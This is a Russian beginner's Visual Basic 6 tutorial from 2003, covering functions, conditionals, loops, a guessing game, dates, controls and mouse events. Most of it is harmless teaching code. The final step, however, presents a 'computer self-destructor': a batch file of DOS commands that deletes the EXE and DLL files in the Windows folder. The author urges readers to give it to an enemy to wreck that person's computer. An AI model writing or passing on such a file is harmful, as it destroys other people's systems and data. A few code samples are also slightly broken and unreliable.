Ну, если ты готов, тогда приступим. Как всегда входим в VB, кликаем на Standart EXE. Помещаем на форму 3 текстовых поля, со свойством Text равным: у первых двух без текста, а у 3-его равным 0(это можно сделать в окне свойство объекта, или написать код Text1.Text="",Text2.Text="",Text3.Text="0",я рекомендую все свойства писать только кодом, так ты быстрее освоишь язык), и 5 кнопок со свойством Caption равным:
У 1-ой CE
У 2-ой X
У 3-ей /
У 4-ой +
У 5-ой --
Как это делать ты должен знать (в окне свойство объекта, или кодом Command1.Caption="CE"...,естественно в поле Form onLoad(кликни два раза по форме))
У тебя должна получиться такая штука:

Теперь код:

Private Sub Command1_Click()
Text1.Text = "" 'при нажатии на кнопку CE, у двух текстовых полей свойство Caption будет равным " ", а 3-его будет равным 0
Text2.Text = ""
Text3.Text = "0"
End Sub

Private Sub Command2_Click() 'при нажатии на кнопку *, 1 текстовое поле будет умножено на второе, и это будет равно 3-ему
Text3.Text = Text1.Text * Text2.Text
End Sub

Private Sub Command3_Click() 'при нажатии на кнопку /, 1 текстовое поле будет разделенно на второе, и это будет равно 3-ему
Text3.Text = Text1.Text / Text2.Text
End Sub

Private Sub Command4_Click() 'при нажатии на кнопку +, 1 текстовое поле будет прибавлено ко второму, и это будет равно 3-ему
Text3.Text = Val(Text1.Text) + Val(Text2.Text)
End Sub

Private Sub Command5_Click() 'при нажатии на кнопку --, 1-ое текстовое поле будет отнято от второго, и это будет равно 3-ему
Text3.Text = Text1.Text - Text2.Text
End Sub

Private Sub Form_Load()
Form1.Caption = "Калькулятор 2003" 'при загрузке формы, ее заголовок будет "Калькулятор 2003"
End Sub

Теперь я хотел бы пояснить что такое Val(при прибавлении см. выше в коде), это функция, она нужна для того, чтобы комп преобразовывал символ из строки, в число, т.е., допустим если ты напишешь без нее, то при прибавлении 4+4, у тебя будет не 8, а 44. Ну вроде объяснил. Исходник программы можешь скачать отсюда

ШАГ 7:

Функции:

В этом разделе я познакомлю тебя с самыми главными функциями, но НЕ СОВСЕМИ, а только с самыми нужными

1. VAL(строка) 1-ая наша функция вам уже знакома, это функция Val, как я уже и говорил она нужна для того, чтобы комп преобразовывал символ из строки, если ты не понял, то не поленись и посмотри вверх, там она подробна описана.
2. Fix Это функция превращает (помойму десятичное (у меня по алгебре 3,и я не знаю как это число называется, спросил у братана, тоже не знает, и я решил назвать его десятичным, главное чтоб было понятно)) в целое, т.е. если у тебя будет 3.12345 то с этой функцией будет 3.В VB дробные числа записываются через точку(3.12345),а на экране появляются через запятую(3,12345).Эта функция пригодится нам очень скоро, для создания первой игры.
3. Rnd Эта функция случайных чисел, например в игре сапер, бомбы появляются каждый раз по разному, это благодаря этой функции. Пример:Text1.Text = Rnd, и сделайте так чтобы при нажатии на кнопку срабатывал этот код. Если ты был внимателен ты заметил, что при запуске программы, числа генерируются такие же как при предыдущем и следующем запуске. Чтобы этого избежать, в Form_Load помести слово Randomize. Чтобы ограничить эту функцию нам надо записать так: Rnd * 5, и тогда здесь будут генерироваться числа от 0 до 5, но чтоб он не выдавал дробные числа поставим функцию Fix: Fix(Rnd*5).Эта функция нам тоже пригодится для игры.
4-5. Asc(Строка) Эта функция нужна для перевода символов в код Аски, а код аски нам очень пригодиться очень скоро, сейчас я поясню почему, а потому, что во всех языках программирования, код аски нужен для доступа к клаве, но об этом потом. А функция Chr(число) делает все наоборот, она переводит из аски в символы. И поскольку нам эти функции очень важны я дам тебе Задание:
Тебе надо сделать программу, которая переводила любой вписанный символ в код аски, и обратно. Для этого тебе понадобиться два текстовых поля, 2 кнопки со свойством Caption равным: У первой Asc, у второй Chr. Да, чуть не забыл, если мы заговорили о текстовых полях, то я хотел бы тебе сказать, что для текстового поля есть одно свойство, оно нужно для ограничения вводимых символов, это свойство называется MaxLength(Его так назвал злой дядька Билл Гейц), так вот нам надо выделить Текстовое поле, и в окне свойств найти свойство MaxLength, по умолчанию стоит 0,но место него нам можно ввести любое число, и это число будет устанавливать ограничения вводимых символов (т.е. если мы введем 3,то в текстовое поле нельзя будет ввести больше 3 символов). После того, как мы сделаем эту программу, нам надо ее отложить подальше, до лучших времен, и потом мы будем ей пользоваться. Исходник программы можешь скачать отсюда
6. Unload Объект Эта функция нужна для выхода. Например, чтобы выйти из программы надо написать Unload Me, или Unload Form1(также можно использовать и End)
7. MsgBox Эта функция нужна для создания сообщений(это тоже самое что и у МелкоСофта Винд 98 постоянно ругается...). Короче посмотри ниже, и ты все поймешь:

Теперь я тебе децл расскажу, как надо делать такие сообщения. Посмотри на код, и сам поймешь.

MsgBox "Любой текст",ЧитКод1+ЧитКод2,"Заголовок"

Где любой текст - это наверное понятно (у меня: "Вот эта ошибка...")
Читкод1+ЧитКод2-это значение, посмотри ниже в таблице (у меня 20,16+4)
Заголовок - думаю тоже понятно (у меня: "И не забудь....")

Теперь Примеры, только примеры:
MsgBox "Здоровеньки булы",53,"<=Здесь я вписал 53,т.к. 48+5=53"
Ну что понял (а)? Отлично! А как обращаться к кнопкам, которые будут на форме, будем учиться потом.
8. InputBox Я опять сразу объяснять не буду, а покажу как это выглядит, чтоб ты был (а) в курсе дела.

Код:
Dim str As String 'Объявляем переменную str, как строковую
Private Sub Form_Load() 'При загрузке формы:
str = InputBox("Как тебя зовут", "Опрос", "Падре") 'Будет появляться опрос:
Text1.Text = str 'Текстовое поле будет равно тому значению, которое ты введешь (у нас Падре):
End Sub
Ну вроде и все. На функциях мы закончим, и перейдем к ОПЕРАТОРАМ.

ШАГ 8:

Операторы:

Условный оператор

Любой язык программирования держится только на операторах, без них любой язык был бы не языком, а набором тупых слов. Первый оператор у нас будет условный, он наверное самый главный, без него не обойдется ни одна программа.

If Условие Then
Серия 1
Else
Серия 2
End If

ИЛИ
If Условие Then Серия 1

Если ты изучал какой - нибуть язык(JavaScript, C++, Китайский...), то ты знаком с этими операторами, а если не изучал, то не знаком. Это я к тому, что ели ты изучал языки, то ты знаешь как этими операторами пользоваться, и можешь немного пропустить; а если не изучал ТО ТЕБЕ НАДО ЧИТАТЬ ВСЕ!!!
После оператора If(истина) следует условие, а после условия следует ключевое слово Then. Если на месте условия, мы напишем k = 0,то если k = 0, будет выполняется Серия 1; Else(ложь), если k = 1, а не 0,то будет выполнятся Серия 2.В конце всегда пишем End If. Вы наверное ничего не поняли, и мы немного попозже сделаем игру с трехмерной графикой, чтоб разобраться в операторах.
Подробнее об Условном операторе
Этот подраздел я написал потому, что мне пришло несколько писем, что я написал про Условный оператор через жопу, и я решил немного по лучше про него написать, т.к. сам когда - то мучился с этим оператором(это было еще на JavaScript), и понимаю тех, кто только начал программировать, и не может врубиться в этот оператор. Если тебе что - то не понятно пиши, а то может я еще несколько Шагов написал через жопу. Я немного напряг мозги, и решил, что, чтобы получше понять этот раздел, надо сделать программу. Творим! Открой VB(Standart EXE), на форму кинь 3 кнопки, у первой Caption = 1, у второй = 2, у 3 - ей = IF. Сделал? Молодец - Холодец. Хе - Хе. Код:
Dim a As Long 'Объявляем переменную a для хранения чисел
Private Sub Command1_Click() 'При нажатии на кнопку:
a = 1 'a = 1
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку:
a = 2 'a = 2
End Sub

Private Sub Command3_Click() 'При нажатии на кнопку:
If a = 1 Then 'Если a = 1, то комп выводит сообщение что была нажата кнопка 1 (т.к. при нажатии на кнопку 1 a = 1):
MsgBox "Нажата кнопка 1", 64, "Ну что врубился?"
End If
If a = 2 Then 'Если a = 2, то комп выводит сообщение что была нажата кнопка 2 (т.к. при нажатии на кнопку 2 a = 2):
MsgBox "Нажата кнопка 2", 64, "Ну что врубился?"
Else 'Если a ни чему не равно то опять комп выводит сообщение:
MsgBox "Ни чего не нажато", 64, "Ну что врубился?"
End If
End Sub
Ну что понял? Молодец! Теперь можешь читать дальше!
Так же действует:
If Условие Then Серия 1

Исходник программы можешь скачать отсюда

Оператор цикла со счетчиком
Оператор цикла со счетчиком тоже бывает полезен, но до условного ему далеко. Он нужен для того чтоб выполнять одно действие несколько раз. Например, в программе кодировщик, которую я от нечего делать написал на днях, без него не обойтись. Он работает очень просто - функция Len считает сколько букв, и это число передается оператору цикла, и он за каждый заход кодирует 1 символ, и это продолжается до тех пор, пока не кончится счетчик (а он равен количеству букв(Len)).

For Счетчик = Начальное Значение To Конечное значение
Действия
Next Счетчик

Например:

Private Sub Command1_Click() 'При нажатии на кнопку:
For i = 0 To 4 'Действие будет обновляться 5 раз
MsgBox ""
Next i
End Sub

Оператор Select Case
С помощью этого оператора можно заменить условный оператор, это удобнее(т.к. меньше кода надо писать), и я буду рассматривать некоторые программы на 2-ух операторах(Case & IF). Вот так.

Select Case Переменная или выражение
Case Значение 1
Действие
Case Значение 1
Действие
...
Case Else Действие в случае несовпадения End Select

Теперь сделаем такую же программу как и в условном операторе. Войди в VB(Standart EXE), на форму кинь 1 кнопку, Caption = Case. Код:
Dim a As String 'Объявляем переменную a для хранения символов
Private Sub Command1_Click()
a = InputBox("Как тебя зовут", "Опрос")
Select Case a
Case "Падре" 'Если a = "Падре", то комп выводит сообщение, что этот ник уже забит
MsgBox "Падре - это я", 64, "Ну что врубился?" Case "Малыш" 'Если a = "Малыш", то комп выводит сообщение
MsgBox "Это правда?", 64, "Ну что врубился?"
Case Else 'Если a равно чему - то другому то комп выводит сообщение
MsgBox "Какой - то неизвестный у тебя ник", 64, "Ну что врубился?"
End Select
End Sub
Теперь я просто обязан дать тебе задание: Сделай тоже самое, что мы делали с оператором Case(сверяли имя), только на операторе IF, и наоборот. Делай. Исходник можешь скачать отсюда

Ну, в VB есть еще и оператор цикла с условием, но он пока нам не нужен(может как - нибуть потом...).

ШАГ 9:

Создаем игру "Угадай число"

Входим в VB, нажимаем Standart EXE. На форму кидаем 2 кнопки, и 1 текстовое поле. У первой кнопки свойство Caption будет "Загадай число", у второй "Ввод"; у текстового поля свойство Caption уберите. У тебя получится такая штука:

Код:
'Здесь вместо sas,qw,qw2 ты можешь ввести любые буквы, только не забудь поменять их во всем коде (например, если ты вместо sas объявишь bla, то тебе придется везде менять sas на bla)
Dim sas As Integer 'Объявляем переменную для хранения чисел
Dim qw As Integer
Dim qw2 As String 'Объявляем переменную для хранения символов
Private Sub Command1_Click() 'При нажатии на кнопку "Загадай число"
 Randomize 'Срабатывает оператор случайных чисел, чтоб при запуске программы генерировались разные числа
 sas = Fix(Rnd * 100) 'уравниваем случайное число
qw = 0
Text1.Text = ""
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку "Ввод"
 qw = qw + 1 'Включаем счетчик, каждый раз при нажатии на кнопку к переменной qw будет прибавляться 1
 If qw <= 3 Then 'Если qw будет < или = 3 то
 qw2 = "Чемпион" 'qw2="Чемпион"
 End If
If qw >= 5 Then 'Это все аналогично
 qw2 = "Профи"
End If
If qw >= 7 Then
qw2 = "Салага"
End If
If qw >= 10 Then
qw2 = "Ламер"
End If
If Val(Text1.Text) = sas Then 'Если Text1.Text=sas то
 MsgBox "Ты победил за " & qw & " раз " + qw2, 32 'Комп выдает сообщение о кол - ве нажатых раз на кнопку т.е. qw
 End If
If Val(Text1.Text) < sas Then
MsgBox "Децл Побольше", 32
End If
If Val(Text1.Text) > sas Then
MsgBox "Децл Поменьше", 32
End If
End Sub

Private Sub Form_Load()
Form1.Caption = "Угадай число"
End Sub
Отлично! Теперь ты Гейм - Мейкер. Ты сделал первую игру, хоть и она очень простая, но это на первое время. Следующая наша игра PinBall 2003. Исходник можешь скачать отсюда

ШАГ 10:

Усовершенственная MsgBox

Как я и обещал, сегодня мы будем делать такую штуку, а вот какую я тебе не скажу, сам должен помнить. Ладно, так и быть напомню, мы будем делать обращение к кнопкам, которые находятся на ошибке MsgBox.
Нам дается ошибка:
MsgBox "Тебя зовут Падре?", 68, "Хей!!!"
Теперь не поленись и посмотри на Table:

В этой таблице ты видишь все кнопки и их значения. А теперь смотри как надо пользоваться этой таблицей.
Private Sub Command1_Click() 'При нажатии на кнопку
 q = MsgBox("Тебя зовут Падре?", 68, "Хей!!!") 'Тебе задают вопрос (Не забудь про скобки)
 If q = 6 Then ' Если q = 6 то (По таблице 6 это Да)
MsgBox "Не пиз...и, Падре - Я", 16, "Врун!!!"
End If
If q = 7 Then
MsgBox "Я тебе верю", 64
End If
End Sub

Все! Наконец закончил! Теперь можешь начинать читать Вторую часть, в ней ты сделаешь свой календарь, и научишься работать с мышью.

Автор учебника: Падре
Дата создания: 6 января 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 11

Работа со временем

Эту часть я начал писать тогда, когда закончил писать 4, и все получилось через жопу. Поскольку о некоторых темах я вспомнил в самом конце, а в четвертой части уже было поздно писать о датах, и работе с мышью..., и я решил написать эту часть. Вот так! После истории перейдем к делу! Чтобы узнать текущее время можно посмотреть на часы, которые находятся около пуска, или создать свои. Второй вариант нам подходит больше, т.к. зачем смотреть на чужие часы (Билла Гейца), когда можно сделать свои собственные? И этим мы сейчас займемся: Создай новый проект(Standart EXE), на форму кинь текстовое поле и таймер. У таймера свойство Interval будет равным 1(это время, через которое Timer будет обновляться (мл)). На таймер нажми 2 раза, и у тебя появится окно кода с созданной процедурой:
Private Sub Timer1_Timer()

End Sub
В ней впиши Text1.Text = Time, здесь текст в текстовом поле будет равен функции Time(текущее время). Вот что у тебя должно получиться:
Private Sub Timer1_Timer()
Text1.Text = Time
End Sub
Ну вот и все - теперь на часы злого дядьки Билл Гейца не смотри, а смотри на свои.

ШАГ 12

Работа с датами

Для работы с датами есть схожая функция Date, теперь сделаем апгрейд нашим часам, добавив к ним еще и дату. Открой проект, который мы делали в предыдущем шаге, и добавь к нему еще 1 текстовое поле(Text2). Теперь нажми 2 раза на форму и у тебя опять появится окно кода с созданной процедурой, но теперь для формы:
Private Sub Form_Load()

End Sub
Все что ты впишешь в эту процедуру, то у тебя будет загружаться вместе с формой.
В ней впиши Text2.Text = Date, здесь текст в текстовом поле будет равен функции Date(текущая дата). Вот что у тебя должно получиться:
Private Sub Form_Load()
Text2.Text = Date
End Sub

ШАГ 13

Функция WeekDay

Функция WeekDay служит для определения дня недели (Понедельник, Вторник...). Сделаем программу, которая будет определять день недели. Создай новый проект(Standart EXE), на форму кинь 1 метку,
кликни два раза по форме и в создавшейся процедуре запиши:
Dim xday 'Объявляем переменную xday как Variant(хотя можно написать Dim xday as long)
Private Sub Form_Load()
xday = WeekDay(Date, vbMonday) 'xday будет равна дню недели
If xday = 7 Then 'Если xday будет равна 1 то:
Label1.Caption = "Воскресенье" 'Label1.Caption будет равна Воскресенье
End If
'Дальше я не буду описывать, т.к. там все тоже самое
If xday = 1 Then
Label1.Caption = "Понедельник"
End If
If xday = 2 Then
Label1.Caption = "Вторник"
End If
If xday = 3 Then
Label1.Caption = "Среда"
End If
If xday = 4 Then
Label1.Caption = "Четверг"
End If
If xday = 5 Then
Label1.Caption = "Пятница"
End If
If xday = 6 Then
Label1.Caption = "Суббота"
End If
End Sub

Кстати, кроме этой функции в VB есть еще около 20 функций связанных с датами и временем, но мы будем обходиться без них, а если они тебя интересуют, скачай с моего сайта справку о функциях, там они почти все есть. Как ты наверное уже понял, я готовлю тебя к созданию Календаря.

ШАГ 14

Строковые функции VB

Я их специально не поместил в первую часть, т.к. они нам пригодятся при создании календаря.
Для начала создай новый проект, на форму кинь 3 текстовых поля и 3 кнопки.
1. Len(Слово) - считает сколько символов в слове. В созданном проекте воспользуемся кнопкой 1:
Private Sub Command1_Click()
Text1.Text = Len(Text2.Text) 'При нажатии на кнопку в текстовом поле появится 5,т.к. у 2 - ого текстового поля свойство Text по умолчанию равно Text2 - а здесь 5 букв
End Sub
Private Sub Command1_Click()
Text1.Text = Len("Visual Basic") 'При нажатии на кнопку 1 в текстовом поле появится 12,т.к. у Visual Basic - 12 букв
End Sub
2. Left(Слово, Длина) - эта функция служит для вырезания подстроки. В созданном проекте воспользуемся кнопкой 2:
Private Sub Command2_Click()
Text2.Text = Left("Visual Basic", 6) 'При нажатии на кнопку 2 в текстовом поле появится Visual, т.к. мы вырезаем 6 символов
End Sub
3. Mid(Слово, Позиция, Длина) - это функция нужна также как и Left для вырезания, но у Left будет вырезаться с самого первого символа, а в Mid можно задать позицию. В созданном проекте воспользуемся кнопкой 3:
Private Sub Command3_Click()
Text1.Text = Mid("VisualBasic", 7, 5) 'При нажатии на кнопку 3 в текстовом поле появится Basic, здесь 7 - это позиция, а 5 - означает количество вырезаемых символов.
End Sub
4. vbCrLf - Забытая всеми Константа перевода строки, вместо нее можно использовать: "Chr (13) + Chr (10)".
Пример: На форму кинь кнопку, и текст. поле(свойство Multiline = True), код:
Private Sub Command1_Click()
Text1.Text = "Функция перевода" + vbCrLf + "строки"
End Sub
Здесь, фраза "Функция перевода" будет на одной строке, а слово "строки" на другой.

ШАГ 15

Создание Календаря

Т.к. мне было лень делать календарь, я решил дать тебе задание. Сейчас я тебе скажу твою миссию. Ты должен сделать календарь, но не просто дешевый календарь, у которого кроме числа ни чего определяться не будет, а календарь, который будет определять месяц, число, год, день недели. Приступим:
На форму кинь 4 метки, и 1 Shape(фигура) - это будет рамка, у формы свойство BorderStyle сделай равным 0 - None, это для того чтоб убрать заголовок, и все остальное у формы, т.к. они нам не понадобятся. У тебя он должен получиться похожий на этот:

Исходник программы можешь скачать отсюда, там же разбирайся с кодом (в исходнике есть описание).

ШАГ 16

Работа с ФЛАЖКАМИ & ПЕРЕКЛЮЧАТЕЛЯМИ

Флажки - это такой же объект как кнопка, текстовое поле, метка..., и на этом шаге я научу тебя ими пользоваться. Он выглядит примерно так: .Ну что впечатляет? Отлично! Тогда войди в VB(как всегда Standart EXE), на форму кинь 1 флажок, и наверное хорош. Теперь сделаем программу, чтоб при убирании или ставке флажка комп выводил сообщение о состоянии флажка. Ну, короче смотри и запоминай:
Private Sub Check1_Click() 'При нажатии на флажок:
'О щет, я чуть не забыл тебе рассказать о свойстве Value, это свойство определяет стоит флажок или нет, если Value равен 1 то он стоит, если 0 то он убран
If Check1.Value = 0 Then 'Так вот, если свойство Value равно 0(флажок убран) то:
MsgBox "Флажок убран" 'Выскакивает ошибка с сообщением, что флажок убран
End If
If Check1.Value = 1 Then 'А если свойство Value равно 1(флажок поставлен) то:
MsgBox "Флажок поставлен" 'Выскакивает ошибка с сообщением, что флажок поставлен
End If
End Sub

А с переключателями такая же петрушка!
Переключатель тоже объект, и у него тоже есть свойство Value, и оно почти также работает. Флажки выглядят так: В предыдущий проект добавим 2 переключателя, у первого переключателя свойство Caption сделай 1, а у второй 2.Теперь о свойстве Value - если у флажков там можно ставить 0 или 1,а у переключателя True или False. Не помню, говорил я о True и False, но на всякий случай скажу. True - переводится как Истина, это означает что у переключателя черная пипка будет поставлена, а False - это Ложь, если это свойство будет стоять, то пипки не будет. Так вот, сделаем программу, у которой при выборе переключателя 1 выскакивает ошибка о его выборе, и так же со вторым.
Private Sub Option1_Click() 'При нажатии на переключатель 1:
If Option1.Value = True Then 'Если у переключателя 1 стоит черная пипка то:
MsgBox "1" 'Выскакивает ошибка с надписью 1
End If

Private Sub Option2_Click() 'При нажатии на переключатель 2:
If Option2.Value = True Then 'Если у переключателя 2 стоит черная пипка то:
MsgBox "2" 'Выскакивает ошибка с надписью 2
End If

Исходник можешь скачать отсюда

ШАГ 17

О свойствах

Здесь я напишу самые популярные свойства, но не все, а с остальными свойствами мы познакомимся в следующих частях. Напомню, что в VB есть окно свойств, где перечислены все свойства для выбранного объекта. В этой таблице я напишу некоторые свойства, для каких объектов они

Caption Это свойство используют: Форма, Кнопка, Метка, Переключатель, Флажок, Frame. С этим свойством ты уже хорошо знаком, у всех объектов это надпись - у формы это заголовок.

Text - это свойство использует только Текстовое поле, это тоже надпись, но только у текстовых полей

BackColor - это свойство используют: Текстовое поле, Метка, Кнопка, Форма, Переключатель, Флажок, Frame, ListBox, Shape, ComboBox, DirListBox, DriveListBox - оно нужно для установки фона. <р class="c2">Multiline - это свойство использует Текстовое поле, оно нужно для того, чтобы текстовое поле было не однострочным, а многострочным, создай новый проект, на него кинь текстовое поле, включи проект(Run), введи туда текст и нажми на Enter. Ну что нажимается? Конешно нет! Т.к. по умолчанию свойство Multiline равно False(Ложь), а чтоб можно было включить многострочный режим, тебе надо поставить True.

Visible - это свойство используют все объекты, кроме таймера (так как таймеру оно ненужно). Оно определяет видим объект или нет, например если ты хочешь скрыть объект, то поставь False. Также напомню, что все эти свойства можно делать и программно. Тебе надо указать Обьект.Свойство = ЗначениеСвойства. Например, на форму кинь две кнопки, при нажатии на кнопку 1 , вторая кнопка исчезнет:
Private Sub Command1_Click() 'При нажатии на кнопку 1:
Command2.Visible = False 'Кнопка 2 исчезает
End Sub

Здесь, как я уже и говорил в первой части, место свойства Visible, можно написать Caption, Text, BackColor, и любое другое свойство, которое ты увидишь в окне свойств для выбранного объекта.

ToolTipText - это свойство также как и Visible используют все видимые объекты. Оно нужно для вызова "мини меню" (я не знаю как это называется, но главное знать не название, а для чего оно нужно), в 15 шаге есть рисунок календаря, направь на него мышку, и увидишь это меню.

Left & Top & Height & Width Эти свойства используют все объекты, ну тут наверное все понятно, но ради приличия я расскажу их значения. Left - это свойство определяет насколько объект будет приближен или отдален от левого края формы. Top - это свойство определяет насколько объект будет приближен или отдален от верхнего края формы. Height - высота объекта. Width - ширина объекта. Все эти свойства мы будем использовать в Анимации (с помощью свойства Left & Top, будем двигать объекты, Height & Width - растягивать). Ну на этом пока все, здесь перечислено всего несколько свойств, хотя их намного больше (у 1 формы их около 50),если тебе будет не лень, то сам поэкспериментируй со свойствами.

Enabled - это свойство используют все объекты, оно нужно для включения и выключения объектов.

ШАГ 18

Работа с Мышкой. Отслеживаем Координаты курсора.

Ну для начала я тебе скажу что такое события, и с чем их едят. События есть у каждого объекта, например у кнопки по умолчанию стоит событие Click(Клик), а у текстового поля Change(Изменение). Щас я тебе покажу как надо все это дело менять.
На этом рисунке показано где находятся события, а как их менять наверное можно догадаться (для этого надо нажать на список, и в нем выбрать нужное событие). Для работы с мышью есть несколько событий, но на этом уроке я тебя познакомлю с одним - MouseMove(Движение мыши). Это событие отслеживает движение мыши. В этом шаге мы сделаем программу, которая будет отслеживать движение мыши внутри нашей программе (чтобы отслеживать движение мыши в не нашей программе надо знать API - но это в 7 части) Ну что начнем? Войди в VB(Standart EXE),на форму кинь 2 текстовых поля, в эти поля будут выводиться координаты мыши. У формы в списке событий поставь MouseMove. У тебя автоматом создастся процедура:

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)

End Sub

В ней впиши код определения координат(X и Y).Text1.Text = X и Text2.Text = Y

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Text1.Text = X
Text2.Text = Y
End Sub

Ну здесь я пояснять не буду, т.к. все наверное и так понятно.

ШАГ 19

Событие DblClick

Это событие тоже связано с мышью, я не знаю как оно переводится, но оно означает двойной щелчок мыши по объекту. Опять выбери в списке событий событие DblClick, и у тебя создастся процедура:
Private Sub Form_DblClick()

End Sub

В ней впиши MsgBox "Событие DblClick". Вот что у тебя получится:

Private Sub Form_DblClick()
MsgBox "Событие DblClick"
End Sub

Теперь запускай проект, и щелкни два раза по форме.

ШАГ 20

Событие MouseUp & MouseDown

Первое событие(MouseUp) выполняется когда отжата клавиша мыши, а второе когда нажата. Здесь я не буду тебе о них много рассказывать, а дам задание: Сделай программу, у которой: Если нажата клавиша мыши, то комп выводит сообщении о том, что клавиша мыши нажата, и если клавиша мыши отжата он также выводит сообщение о отжатии клавиши мыши.
Исходник программы можешь скачать отсюда

Всё! Теперь ты можешь читать 3 часть.

Автор учебника: Падре
Дата создания: 14 января 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 21:

Объект ListBox & ComboList

Объект ListBox особо не нужен, но иногда без него не обойтись. В этом шаге я научу тебя им пользоваться, хотя сам только недавно научился (когда он очень понадобился). Начнем. Создай новый проект(Standart EXE), на него кинь 2 текстовых поля, 2 кнопки, и 1 ListBox. У ListBox в свойстве List напиши любые слова - они и будут видны в списке.
Свойство List
У первой кнопке свойство Caption будет "Удалить запись", у второй "Добавить запись". Вот что у тебя должно получиться:
Свойство List
Вот код:
Private Sub Command1_Click() 'При нажатии на кнопку:
List1.RemoveItem (List1.ListIndex) 'У объекта ListBox есть свойство RemoveItem - оно нужно для удаления записи, но только по индексу (у самой первой записи индекс = 0, у второй 1 - итак до упора)
End Sub

Private Sub Command2_Click()
'Сюда можно втыкнуть On Error Resume Next, т.к. если запись не выбрана, то произойдет ошибка
List1.AddItem Text2.Text 'Добавляем запись, здесь есть свойство AppItem оно нужно для добавления записи, потом идет пробел, а за ним любой текст (в этом примере будет добавляться запись с текстом введенным в текстовое поле")
End Sub

Private Sub List1_Click()
Text1.Text = List1.Text 'Текстовое поле 1 равно выбранной записи
End Sub

Исходник программы можешь скачать отсюда.
А что касается ComboList - с ним работать точно также как и с ListBox, но там еще есть свойство Text(это самая первая запись). Здесь я не буду тебе объяснять работу с этим объектом, а дам задание: Твоя миссия сделать такую же программу, как и ListBox, но только с ComboBox.

ШАГ 22:

Объект PictureBox & Image

Как ты наверное понял эти объекты нужны для работы с изображением, и у каждого из этих объектов есть свойство Picture, кликни по нему 2 раза(это в окне свойств(но вначале объекты закинь на форму)), и у тебя откроется окно выбора изображений, там выбираешь любой рисунок, и он у тебя загрузится. А если вдруг надо чтоб картинки грузились, например при нажатии на кнопку. Для этого создадим новый проект, туда кинем 1 кнопку, 1 Image, и 1 PictureBox(Кстати, у этих объектов есть различие, у Image - если картинка будет больше чем сам объект, то объект растянется, а у Picture - не растянется, а будет показана только поместившаяся часть рисунка). Теперь напишем код, который при нажатии на кнопку, загружал в эти объекты картинку.

Private Sub Command1_Click() 'При нажатии на кнопку:
Picture1.Picture = LoadPicture("c:\1.bmp") 'Картинка загружается в объект PictureBox(Вместо c:\1.bmp - напиши путь к картинке)
Image1.Picture = LoadPicture("c:\1.bmp") 'Картинка загружается в объект Image
End Sub

Но если можно загружать, то значит можно и сохранять. До делаем нашу программу, на форму кинь еще одну кнопку, и впиши код:
Private Sub Command2_Click()
SavePicture Picture1.Picture, "c:\Picture.bmp" 'Картинка сохраняется в файл Picture.BMP, из объекта Picture
SavePicture Image1.Picture, "c:\Image.bmp" 'Картинка сохраняется в файл Image.BMP, из объекта Image
End Sub

ШАГ 23:

Работа с КУРСОРОМ

У тебя когда - нибуть возникала мысль: "А как избавиться от этого уродского курсора?" Ну если возникла, то хорошо, а если нет, то тебе ВСЕ РАВНО ПРИДЕТСЯ ЧИТАТЬ ЭТОТ ШАГ! Чтобы сменить курсор почти у всех объектов есть свойство MousePointer - в нем ты выбираешь: "99 - Custom", потом нажимаешь 2 раза по свойству MouseIcon и выбераешь любой из курсоров(главное чтоб тип был *.ico или *.cur), потом нажимаешь на Run, наводишь мышь на объект, и курсор меняется. Вот тебе задание: Ты должен сделать программу, у которой при наведении мыши на форму, курсор менялся. Только здесь какая - то фигня получается, т.к. у загружаемых курсоров должно быть расширение *.ico или *.cur - и тут возникает вопрос: "Где их взять?" и "Что делать?". На первый вопрос ответ простой: "Их надо где - то достать - ищи(или читай дальше, потом у тебя их будет несколько тыщ). Могу только пока дать тебе 2 курсора - Скачать
Можно также и воспользоваться и стандартными курсорами, для этого у любого объекта(например у кнопки) поставь свойство MousePointer = от 0 до 15(как ты понял всего 15 стандартных курсоров).

ШАГ 24:

Меняем значок у программы

Для смены значка у программы, у формы есть свойство Icon, нажми на него два раза, и перед тобой откроется окно открытия файлов. В нем выбери любой значок с расширением *.ico,*.cur - но где их взять? Поищи их на своем винте - кто ищет тот всегда находит! Но если не найдешь, то Скачивай мою коллекцию(35 штук).
P.S. Где - то в 7 - 8 части у тебя появится около 13 штук курсоров и иконок(у меня ~13346).

ШАГ 25:

Делаем самоуничтожитель компа:

Сегодня мы будем делать Самоуничтожитель компа. Для этого тебе нужен Текстовой документ (Блокнот), или любой другой текстовой редактор, и все! Желательно чтоб ты хоть децл разбирался в командах DOS, но не обязательно. Начнем:
Для начала я решил дать тебе краткую справку по командам DOS
Del путь и имя файла - удалить
CD имя папки - вход в папку
CD\ - переход в корневой каталог диска

Теперь входим в Текстовой документ, и пишем этот код:
cd\
cd windows
del *.exe
del *.dll
или
cd\
del *.bat
В первом случае из винда удаляются все EXE и DLL файлы, а во втором из диска C: удаляется файл Autoexec.bat, в обоих случаях комп накрывается. Теперь чтобы программа была не в текстовом формате, а чтобы ее можно было запустить нам надо сохранить ее в BAT файл, для этого ставим Сохранить как, и в поле имя пишем bla.bat, и все, теперь дай ее своему врагу, и когда он откроет этот файл, у него комп полетит (на юг). Но помни золотое правило, программа должна запускаться с ДИСКА С:, с других дисков она ЗАПУСКАТЬСЯ НЕ БУДЕТ.
